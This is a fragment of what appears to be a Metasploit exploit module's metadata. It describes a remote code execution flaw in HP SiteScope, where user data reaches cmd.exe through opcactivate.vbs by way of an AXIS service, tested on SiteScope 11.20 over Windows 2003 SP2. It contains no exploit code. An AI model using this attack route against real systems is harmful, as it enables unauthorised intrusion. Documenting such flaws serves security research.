'Name' => 'HP SiteScope Remote Code Execution',
'Description' => %q{
This module exploits a code execution flaw in HP SiteScope.
The vulnerability exists in the opcactivate.vbs script, which
is reachable from the APIBSMIntegrationImpl AXIS service, and
uses WScript.Shell.run() to execute cmd.exe with user provided
data. Note that the opcactivate.vbs component is installed
with the (optional) HP Operations Agent component. The module
has been tested successfully on HP SiteScope 11.20 (with HP
Operations Agent) over Windows 2003 SP2.
